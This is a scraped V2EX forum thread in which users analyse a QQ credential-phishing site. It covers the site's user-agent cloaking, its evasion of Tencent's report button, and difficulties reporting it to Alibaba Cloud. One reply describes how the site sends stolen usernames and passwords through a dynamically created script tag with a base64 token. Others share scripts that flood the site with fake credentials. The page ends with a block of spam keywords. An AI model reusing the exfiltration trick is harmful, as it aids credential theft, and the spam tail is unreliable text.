腾讯到现在都不能自动识别出这种低端钓鱼盗号网站么 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
工单节点使用指南
请用平和的语言准确描述你所遇到的问题
厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
script> document.addEventListener('DOMContentLoaded', function() { // Function to escape HTML entities function escapeHtml(text) { if (!text) return ''; var div = document.createElement('div'); div.textCOntent= text; return div.innerHTML; } // Function to render campaign based on display format function renderCampaign(campaign) { let html = ''; let displayFormat = campaign.display_format || 'text-only'; let title = escapeHtml(campaign.title); let description = escapeHtml(campaign.description); let callToAction = escapeHtml(campaign.call_to_action); let link = escapeHtml(campaign.link); // Check if required image URL is available for the display format, fallback to text-only if not if (displayFormat === 'small-with-description' && !campaign.img_small_url) { displayFormat = 'text-only'; } else if (displayFormat === 'banner-only' && !campaign.img_banner_url) { displayFormat = 'text-only'; } else if ((displayFormat === 'big-only' || displayFormat === 'big-with-description' || displayFormat === 'big-with-title-description-button') && !campaign.img_big_url) { displayFormat = 'text-only'; } html = `
${title}
`; switch(displayFormat) { case 'text-only': html += `
${description}
`; break; case 'small-with-description': html += `
${campaign.img_small_cid ? `
` : ''}
${description}
`; break; case 'banner-only': html += `
`; break; case 'big-only': html += `
`; break; case 'big-with-description': html += `
`; html += `
${description}
`; break; case 'big-with-title-description-button': html += `
`; html += `
${description}
`; html += ``; break; default: html += `
${description}
`; } html += `` return html; } // Load campaign from emitter var xhr = new XMLHttpRequest(); xhr.open('GET', '/pro/emitter', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.Onreadystatechange= function() { if (xhr.readyState === 4) { if (xhr.status === 200) { try { var campaign = JSON.parse(xhr.responseText); if (campaign && campaign.id) { var html = renderCampaign(campaign); document.getElementById('pro-campaign-container').innerHTML = html; } else { // No campaign to display, hide the container document.getElementById('pro-campaign-container').style.display = 'none'; } } catch (e) { // Parse error, hide the container document.getElementById('pro-campaign-container').style.display = 'none'; console.log('Error parsing campaign data: ' + e.message); } } else { // HTTP error, hide the container document.getElementById('pro-campaign-container').style.display = 'none'; console.log('Error loading campaign: HTTP ' + xhr.status); } } }; xhr.send(); });
HXM
7.05D

腾讯到现在都不能自动识别出这种低端钓鱼盗号网站么

  •  3
     
  •   HXM Dec 22, 2018 9477 views
    This topic created in 2684 days ago, the information mentioned may be changed or developed.

    截图: https://i.loli.net/2018/12/22/5c1d0f003b937.png

    链接是: http://sundonggen.com 不要在里面输入帐号密码!!

    破网站连个 https 都没有,输入时弹出的键盘还是 iOS 键盘,让我一个用 Android 的情何以堪

    不管输入什么第一次登录都提示错误

    如果你在 QQ 内置浏览器打开,然后按右上角举报,他会在你按右上角时跳转到腾讯官方的一个页面,这样举报时自动填写的链接地址就是腾讯官方页面地址,就举报不到它

    如果电脑访问,即使用 chrome 开发者工具模拟 iPhone6 或 pixel 2,也会跳转腾讯官方的一个页面

    Whois 查询到域名在阿里云注册,阿里云的举报还居然需要注册登录或者上传身份证明

    腾讯拦截不了,想举报一下做一点微小的工作也不行。

    45 replies    2018-12-24 10:13:00 +08:00
    boris1993
        1
    boris1993  
       Dec 22, 2018 via Android
    孙冻根.com ???
    v2016
        2
    v2016  
       Dec 22, 2018 via iPhone
    我去研究研究 希望别挂掉
    orangeade
        3
    orangeade  
       Dec 22, 2018 via Android
    腾讯只会屏蔽没备案网站
    C2G
        4
    C2G  
       Dec 22, 2018 via Android
    测试真伪很简单 QQ 号输入 10001 如果提示不是正确 QQ 号一定是假的 反之也不一定是真的
    banshicy
        5
    banshicy  
       Dec 22, 2018 via Android
    还有这个,查域名也是阿里云注册的,现在人都这么了么,, [提示] 不要输入任何信息 http://zhijianjimo.com
    Drumming
        6
    Drumming  
       Dec 22, 2018
    没了
    boris1993
        7
    boris1993  
       Dec 22, 2018
    @Drumming #6 得用手机,电脑打开自动跳到一个图片上
    mario85
        8
    mario85  
       Dec 22, 2018 via iPhone
    chrome 设置 ua 没
    zyqf
        9
    zyqf  
       Dec 22, 2018 via Android   19
    我之前写了个脚本,随机生成 QQ 号和密码提交上去。放在几个服务器上跑了两天,提交了大概有一两百万条吧。
    xeaglex
        10
    xeaglex  
       Dec 22, 2018
    @zyqf 你这就很强了 23333
    zturns
        11
    zturns  
       Dec 22, 2018 via Android   1
    腾讯只看钱,备案的网站有时候还没没备案的有用。创宇云天天打电话
    xanthu
        12
    xanthu  
       Dec 22, 2018 via Android
    上次碰个 https 的钓鱼网站把身份证和手机信息泄露了,贼气一点办法都没得
    HXM
        13
    HXM  
    OP
       Dec 22, 2018 via Android
    @banshicy 感觉像一套源码,弹出的键盘都一模一样

    @mario85 对,应该是做了 UA 判断

    @orangeade 这种网站也居然也敢光明正大的备案。。。

    @xanthu 老哥,https 也不能证明就是官方网站,事关重要账号的网站最好点到安全信息里看看证书详情
    xuecan
        14
    xuecan  
       Dec 22, 2018 via iPhone
    那就去举报备案
    dfourc
        15
    dfourc  
       Dec 22, 2018
    @zyqf 哈哈哈哈哈
    AlisaDestiny
        16
    AlisaDestiny  
       Dec 22, 2018   5
    简单分析了一下。这人还挺狡猾的,没有通过常规的 ajax 的方式提交,而是通过 js 动态创建 script 标签,在指定 src 的时候把用户名和密码当做参数附加在后面:sundonggen.com/user.js?token=encodeURIComponent(btoa(JSON.stringify({ u: "你的 QQ",p: "你的密码"}))));然后返回的是正常的 jquery 库代码。
    opengps
        17
    opengps  
       Dec 22, 2018 via Android
    我见过最牛逼的钓鱼网站,自带举报入口,让那些举报的人找不对入口
    580a388da131
        18
    580a388da131  
       Dec 22, 2018 via iPhone
    做的好精致
    LanFomalhaut
        19
    LanFomalhaut  
       Dec 22, 2018   1
    实际使用中还有腾讯的“任意跳转漏洞”等等在利用: )
    甚至有表现为 QQ 打开后下拉 上方 URL 显示为腾讯的某官方域名
    openbsd
        20
    openbsd  
       Dec 22, 2018   1
    鹅厂的回复一般是:您的举报证据不足,如果您有了经济损失啥的,请报警,所以说,免费的东西真心有点坑
    winglight2016
        21
    winglight2016  
       Dec 22, 2018
    这钓鱼网站居然还实现了 iOS 软键盘?很下功夫啊
    agdhole
        22
    agdhole  
       Dec 22, 2018 via Android
    我的站主域名和所有子域名全部被腾讯标红了,已备案已实名,去申述说封一个月才解,主站红就算了,首页 502 停用的 API 也被封
    Les1ie
        23
    Les1ie  
       Dec 22, 2018   1
    目前大部分的识别恶意网站不是通过网站内容来识别,而是通过恶意网站列表来识别的,恶意列表是志愿者维护的,维护列表的更新需要时间。
    MineDog
        24
    MineDog  
       Dec 22, 2018   1
    似乎是通过 navigator.platform 来区别展示不同页面的
    admingyu
        25
    admingyu  
       Dec 22, 2018   1
    根据 AlisaDestiny 的分析
    抽空简单写了个脚本,提交假的账号密码
    https://github.com/Admingyu/against-fraud/blob/master/qq_fraud_sundonggen.com.py
    yuanshuai1995
        26
    yuanshuai1995  
       Dec 22, 2018
    @admingyu #25 这个怎么操作的 我也想帮帮忙
    admingyu
        27
    admingyu  
       Dec 22, 2018
    @yuanshuai1995 python3.6 环境 文件所在文件夹打开终端直接输入 Python ./qq_fraud_sundonggen.com.py 然后回车就行
    rogwan
        28
    rogwan  
       Dec 22, 2018 via iPhone
    这个钓鱼网站不低端了,超过很多人的水平啦
    alfchin
        29
    alfchin  
       Dec 22, 2018 via Android   1
    楼主可以去 12321 举报,顺便去工信部举报阿里云给涉嫌诈骗信息的举报设置不恰当的障碍
    EarthChild
        30
    EarthChild  
       Dec 22, 2018   1
    之前几天有一个 loveprisoner.cn 的钓鱼网站我 whois 之后找注册商发邮件说域名滥用让他们处理了,半天就解决了。其实找域名注册商比较好用,或者报警。其他途径太慢了。
    labnotok
        31
    labnotok  
       Dec 22, 2018 via Android
    不是不能,是不想

    钓鱼(诈骗)、色情不是底线,
    Xin Yue 这种才是
    lzyuid
        32
    lzyuid  
       Dec 22, 2018
    sundonggen.com 企业备案?
    并且分享到群里后,会跳到腾讯微众的活动
    aliipay
        33
    aliipay  
       Dec 23, 2018   1
    @admingyu 已经顺手跑了几分钟。
    UA 随机来几个是不是更好
    HXM
        34
    HXM  
    OP
       Dec 23, 2018 via Android
    @EarthChild 我给阿里云发邮件了,他自动回复让我到举报页面举报,举报页面需要登录。。。
    klii
        35
    klii  
       Dec 23, 2018
    https://qzonestyle.gimg.cn/aoi/sola/20180612182915_oC2G8CAcEv.jpg

    我点了后跳转了这个,话说他是如何使用的微信的 ssl
    ochatokori
        36
    ochatokori  
       Dec 23, 2018 via Android
    这键盘是用来搞笑的吧
    mytsing520
        37
    mytsing520  
    PRO
       Dec 23, 2018
    QQ 邮箱曾经实现过智能识别,用于腾讯安全的大数据,现在也在用。

    但问题是,要识别这些内容是否是安全的内容,他就要到这个 URL 上去模拟访问一次,万一遇到了只允许点击一次的链接,如激活账号这种,当然点击后直接激活的没关系,万一点击后还要填写信息的,用户就要骂娘了。

    所以你很多情况下会看到腾讯的服务器访问了你网站上部分页面的记录。多分析下 refer,就能发现。
    leaves7i
        38
    leaves7i  
       Dec 23, 2018 via Android
    “论安卓设备使用 iPhone UA 的必要性”
    rogwan
        39
    rogwan  
       Dec 23, 2018 via iPhone
    @mytsing520 这种情况很容易造成恶意注册。我有短号邮箱地址,收到恶意注册第三方 APP 的邮件,自己没理睬,但是被激活啦。然后就一直各种垃圾推送
    looseChen
        40
    looseChen  
       Dec 23, 2018
    钓鱼钓过去了也没啥用把,现在不是一般 qq 都有设备锁嘛
    EarthChild
        41
    EarthChild  
       Dec 23, 2018
    @HXM #34 那不行就去 icann 投诉阿里不负责任
    yuanshuai1995
        42
    yuanshuai1995  
       Dec 23, 2018
    网站已经挂掉了吧
    si
        43
    si  
       Dec 23, 2018
    腾讯的举报大部分时候都是没有用的,那些发图片格式的违法的广告,举报都是不成功的。
    scientist
        44
    scientist  
       Dec 23, 2018   1
    举报了个带钓鱼网站二维码的群发图片,腾讯判定举报不成功。
    admingyu
        45
    admingyu  
       Dec 24, 2018
    @scientist 发兼职广告的举报之后发邮件告诉我那个人确认存在违规行为已被封号,过两天那个人还是能给我发广告,一样的
    About     Help     Advertise     Blog     API     FAQ     Solana     1036 Online   Highest 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 120ms UTC 22:31 PVG 06:31 LAX 15:31 JFK 18:31
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86